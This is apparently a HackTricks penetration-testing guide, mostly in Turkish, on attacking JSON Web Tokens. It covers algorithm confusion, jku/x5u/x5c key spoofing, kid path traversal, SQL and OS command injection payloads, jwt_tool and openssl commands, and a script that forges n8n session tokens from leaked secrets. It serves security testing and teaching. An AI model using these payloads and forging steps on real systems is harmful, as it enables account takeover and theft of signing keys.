JWT Zafiyetleri (Json Web Tokens)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu yazının bir bölümü şu harika yazıya dayanmaktadır: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT’leri pentest etmek için harika aracın yazarı https://github.com/ticarpi/jwt_tool

Hızlı Kazanımlar

jwt_tool aracını All Tests! modunda çalıştırın ve yeşil satırları bekleyin

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Şanslıysanız araç, web uygulamasının JWT’yi yanlış kontrol ettiği bir durum bulacaktır:

Sonra, proxy’nizde isteği arayabilir veya jwt_ tool kullanarak o istek için kullanılan JWT’yi dökebilirsiniz:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

İmza değiştirmeden veriyi bozma

İmzayı olduğu gibi bırakarak verilerle oynayabilir ve sunucunun imzayı doğrulayıp doğrulamadığını kontrol edebilirsiniz. Örneğin kullanıcı adınızı “admin” olarak değiştirmeyi deneyin.

Token doğrulanıyor mu?

  • Bir hata mesajı doğrulamanın yapıldığını gösterir; ayrıntılı hata mesajlarındaki hassas detaylar incelenmelidir.
  • Dönen sayfadaki bir değişiklik de doğrulamanın yapıldığını gösterir.
  • Hiçbir değişiklik doğrulama yapılmadığını düşündürür; bu durumda payload içindeki claim’lerle oynamayı deneyin.

Kaynak

Proxy’nin istek geçmişini inceleyerek tokenin sunucu tarafında mı yoksa istemci tarafında mı üretildiğini belirlemek önemlidir.

  • Token’lerin ilk olarak istemci tarafında görülmesi, anahtarın istemci tarafı koduna maruz kalmış olabileceğini ve daha fazla araştırma gerektiğini gösterir.
  • Token’lerin sunucu tarafında oluşturulması güvenli bir süreci gösterir.

Geçerlilik Süresi

Token’in 24 saatten fazla geçerli olup olmadığını kontrol edin… belki hiç süresi dolmuyordur. Eğer bir “exp” alanı varsa, sunucunun bunu doğru şekilde ele alıp almadığını kontrol edin.

Brute-force HMAC secret

See this page.

Leak edilmiş config + DB verilerinden JWT secret’larını türetme

Eğer rastgele bir dosya okuma (veya backup leak) hem uygulamanın şifreleme materyalini hem de kullanıcı kayıtlarını açığa çıkarıyorsa, bazen JWT signing secret’ını yeniden oluşturabilir ve herhangi bir düz metin parola bilmeden oturum çerezleri forge edebilirsiniz. Workflow automation yığınlarında gözlemlenen örnek desen:

  1. Bir config dosyasından app key’i leak edin (ör. encryptionKey).
  2. Kullanıcı tablosunu leak ederek email, password_hash, ve user_id bilgilerini elde edin.
  3. Anahtardan signing secret’ı türetin, sonra JWT payload’unda beklenen kullanıcı başına hash’i türetin:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. İmzalanmış token’ı session cookie’ye (ör. n8n-auth) yerleştirerek, parola hash’i salted olsa bile kullanıcı/admin hesabını taklit edin.

Modify the algorithm to None

Kullanılan algoritmayı “None” olarak ayarlayın ve imza bölümünü kaldırın.

Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

HS256 algoritması her mesajı imzalamak ve doğrulamak için secret key’i kullanır.
RS256 algoritması ise mesajı imzalamak için private key’i kullanır ve doğrulama için public key’i kullanır.

RS256’den HS256’ya değiştirirseniz, back end kodu public key’i secret key olarak kullanır ve sonra imzayı doğrulamak için HS256 algoritmasını kullanır.

Sonrasında, public key’i kullanıp RS256’yi HS256 olarak değiştirerek geçerli bir imza oluşturabiliriz. Bunu gerçekleştirmek için web sunucusunun sertifikasını şu şekilde alabilirsiniz:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

New public key inside the header

Bir saldırgan, jetonun header’ına yeni bir anahtar gömer ve sunucu imzayı doğrulamak için bu yeni anahtarı kullanır (CVE-2018-0114).

Bu, “JSON Web Tokens” Burp eklentisi ile yapılabilir.
(İsteği Repeater’a gönderin, JSON Web Token sekmesinde “CVE-2018-0114” seçin ve isteği gönderin).

JWKS Spoofing

Talimatlar, özellikle “jku” header claim’ini kullanan JWT tokenlarının güvenliğini değerlendirmek için bir yöntemi açıklar. Bu claim, token doğrulaması için gerekli public key’i içeren bir JWKS (JSON Web Key Set) dosyasına işaret etmelidir.

  • Assessing Tokens with “jku” Header:

  • “jku” claim’inin URL’sini doğrulayarak uygun JWKS dosyasına işaret ettiğinden emin olun.

  • Token’ın “jku” değerini kontrolünüzdeki bir web servisine yönlendirilecek şekilde değiştirin; bu, trafiği gözlemlemenize olanak verir.

  • Monitoring for HTTP Interaction:

  • Belirttiğiniz URL’ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız linkten anahtarları çekmeye çalıştığını gösterir.

  • Bu süreçte jwt_tool kullanıyorsanız, testin düzgün çalışması için jwtconf.ini dosyasını kişisel JWKS konumunuzla güncellemeniz önemlidir.

  • Command for jwt_tool:

  • Aşağıdaki komutu çalıştırarak jwt_tool ile senaryoyu simüle edin:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

kid olarak bilinen isteğe bağlı bir header claim, belirli bir anahtarı tanımlamak için kullanılır; bu, birden fazla anahtarın bulunduğu ortamlarda token imza doğrulaması için özellikle önemlidir. Bu claim, bir token’ın imzasını doğrulamak için uygun anahtarın seçilmesine yardımcı olur.

Revealing Key through “kid”

kid claim header’da bulunduğunda, ilgili dosya veya varyasyonları için web dizininde arama yapmak önerilir. Örneğin, "kid":"key/12345" belirtilmişse, web root’ta /key/12345 ve /key/12345.pem dosyalarının aranması gerekir.

Path Traversal with “kid”

kid claim, dosya sistemi üzerinde gezinmek için de kötüye kullanılabilir ve bu rastgele bir dosyanın seçilmesine olanak sağlayabilir. kid değerini belirli dosya veya hizmetleri hedefleyecek şekilde değiştirerek bağlantıyı test etmek veya Server-Side Request Forgery (SSRF) saldırıları gerçekleştirmek mümkündür. JWT’yi orijinal imzayı koruyarak kid değerini değiştirmek, jwt_tool’da -T bayrağı kullanılarak yapılabilir; aşağıda gösterildiği gibi:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via “kid”

If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

OS Injection through “kid”

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

First you need to create a new certificate with new private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Ardından örneğin jwt.io kullanarak yeni JWT’yi created public and private keys and pointing the parameter jku to the certificate created. ile oluşturabilirsiniz. Geçerli bir jku sertifikası oluşturmak için orijinalini indirip gerekli parametreleri değiştirebilirsiniz.

“e” ve “n” parametrelerini bir public certificate’tan şu şekilde elde edebilirsiniz:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. PEM formunda kodlanmış bir dizi X.509 (bir sertifika formatı standardı) public certificates’ı işaret eden bir URI. Kümedeki ilk sertifika, bu JWT’yi imzalamak için kullanılan sertifika olmalıdır. Sonraki sertifikaların her biri önceki olanı imzalar ve böylece sertifika zinciri tamamlanır. X.509, RFC 52807’de tanımlanmıştır. Sertifikaların aktarımı için transport security gereklidir.

Bu header’ı kontrolünüz altındaki bir URL’e değiştirmeyi deneyin ve herhangi bir istek alınıp alınmadığını kontrol edin. Böyle bir durumda JWT’ye müdahale edebilirsiniz.

Kontrolünüzde olan bir sertifikayı kullanarak yeni bir token sahtelemek için sertifikayı oluşturmanız ve public and private keys’i çıkarmanız gerekir:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Örneğin jwt.io kullanarak yeni JWT’yi oluşturulan açık ve özel anahtarlarla ve x5u parametresini oluşturulan .crt sertifikasına işaret edecek şekilde oluşturabilirsiniz.

Ayrıca her iki zafiyeti de SSRFs için kötüye kullanabilirsiniz.

x5c

Bu parametre sertifikayı base64 formatında içerebilir:

Eğer saldırgan kendinden imzalı bir sertifika oluşturur ve ilgili özel anahtar ile sahte bir token oluşturup “x5c” parametresinin değerini yeni oluşturulan sertifika ile değiştirir ve diğer parametreleri, yani n, e ve x5t’yi düzenlerse, özünde sahte token sunucu tarafından kabul edilir.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Gömülü Public Key (CVE-2018-0114)

Eğer JWT’ye aşağıdaki örnekte olduğu gibi bir public key gömülmüşse:

Aşağıdaki nodejs scriptini kullanarak bu veriden bir public key üretmek mümkün:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Yeni bir private/public key oluşturmak, yeni public key’i token’ın içine gömüp bunu yeni bir signature oluşturmak için kullanmak mümkündür:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Bu nodejs script’i kullanarak “n” ve “e” değerlerini elde edebilirsiniz:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Son olarak, açık ve özel anahtar ile yeni “n” ve “e” değerlerini kullanarak jwt.io ile herhangi bir bilgi içeren yeni geçerli bir JWT oluşturabilirsiniz.

ES256: Aynı nonce kullanıldığında özel anahtarın ortaya çıkarılması

Eğer bazı uygulamalar ES256 kullanıyorsa ve iki JWT üretmek için aynı nonce’u kullanırlarsa, özel anahtar geri elde edilebilir.

İşte bir örnek: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

JTI (JWT ID) claim’i, bir JWT Token için benzersiz bir tanımlayıcı sağlar. Bu, token’ın replay edilmesini önlemek için kullanılabilir.
Ancak, ID’nin maksimum uzunluğunun 4 (0001-9999) olduğunu varsayın. 0001 ve 10001 istekleri aynı ID’yi kullanacaktır. Yani backend her istekte ID’yi artırıyorsa, bunu replay a request yapmak için kötüye kullanabilirsiniz (her başarılı replay arasında 10000 istek göndermeniz gerekir).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

Bazı web uygulamalarının tokenlarının oluşturulması ve yönetimi için güvenilen bir JWT servisine bağlı kaldığı gözlemlenmiştir. JWT servisi tarafından bir istemci için üretilen bir tokenın aynı JWT servisinin başka bir istemcisi tarafından kabul edildiği vakalar kaydedilmiştir. Bir üçüncü taraf servis aracılığıyla JWT verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o servisin başka bir istemcisinde hesap açma olasılığı araştırılmalıdır. Elde edilen token ile hedefe bir istekte bulunup token’ın kabul edilip edilmediği denenmelidir.

  • Tokenınızın kabul edilmesi kritik bir soruna işaret edebilir ve herhangi bir kullanıcının hesabının taklit edilmesine izin verebilir. Ancak, üçüncü taraf bir uygulamada hesap açmak daha geniş test izni gerektirebileceği için yasal gri bir alana girilebileceği unutulmamalıdır.

Expiry Check of Tokens

Token’ın süresi “exp” Payload claim’i kullanılarak kontrol edilir. JWT’lerin sıklıkla oturum bilgisi olmadan kullanılması nedeniyle dikkatli işlem gereklidir. Birçok durumda, başka bir kullanıcının JWT’sini yakalayıp replay etmek o kullanıcının taklit edilmesini sağlayabilir. JWT RFC’si, JWT replay saldırılarını hafifletmek için token için bir süre sonu ayarlamak üzere “exp” claim’inin kullanılmasını önerir. Ayrıca, uygulamanın bu değeri işlediğinden ve süresi dolmuş tokenları reddettiğinden emin olacak kontrollerin uygulanması önemlidir. Token bir “exp” claim’i içeriyorsa ve test süreleri izin veriyorsa, token’ı saklayıp süresi dolduktan sonra replay etmek önerilir. Token içeriği, zaman damgası ayrıştırma ve sürenin kontrolü (zaman damgası UTC’de) jwt_tool’un -R flag’i ile okunabilir.

  • Uygulama token’ı hâlâ doğruluyorsa bir güvenlik riski olabilir; bu, token’ın asla süresi dolmayacağı anlamına gelebilir.

Tools

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin